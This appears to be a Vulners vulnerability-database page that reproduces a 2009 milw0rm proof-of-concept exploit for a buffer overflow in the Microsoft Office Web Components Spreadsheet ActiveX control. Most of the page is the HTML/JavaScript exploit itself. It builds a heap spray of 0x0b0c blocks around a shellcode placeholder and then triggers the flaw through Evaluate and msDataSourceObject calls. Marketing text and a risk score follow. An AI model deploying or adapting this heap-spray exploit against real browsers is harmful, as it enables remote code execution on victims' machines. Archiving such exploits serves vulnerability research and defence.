Vulners
Lucene search
Microsoft Office Web Components (OWC) Spreadsheet - ActiveX Buffer Overflow (PoC)
<!-- http://en.securitylab.ru/poc/extra/382458.php -->
<html>
<body>
<script language="JavaScript">
var shellcode = unescape("evil code");
var array = new Array();
var ls = 0x81000-(shellcode.length*2);
var bigblock = unescape("%u0b0c%u0b0C");
while(bigblock.length<ls/2)
{bigblock+=bigblock;}
var lh = bigblock.substring(0,ls/2);
delete bigblock;
for(i=0;i<0x99*2;i++) {
array[i] = lh + lh + shellcode;
}
CollectGarbage();
var obj = new ActiveXObject("OWC10.Spreadsheet");
e=new Array();
e.push(1);
e.push(2);
e.push(0);
e.push(window);
for(i=0;i<e.length;i++){
for(j=0;j<10;j++){
try{
obj.Evaluate(e[i]);
}
catch(e)
{}
}
}
window.status=e[3] +'';
for(j=0;j<10;j++){
try{
obj.msDataSourceObject(e[3]);
}
catch(e)
{}
}
</script>
</body>
</html>
# milw0rm.com [2009-07-16]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
16 Jul 2009 00:00Current
7.4High risk
Vulners AI Score7.4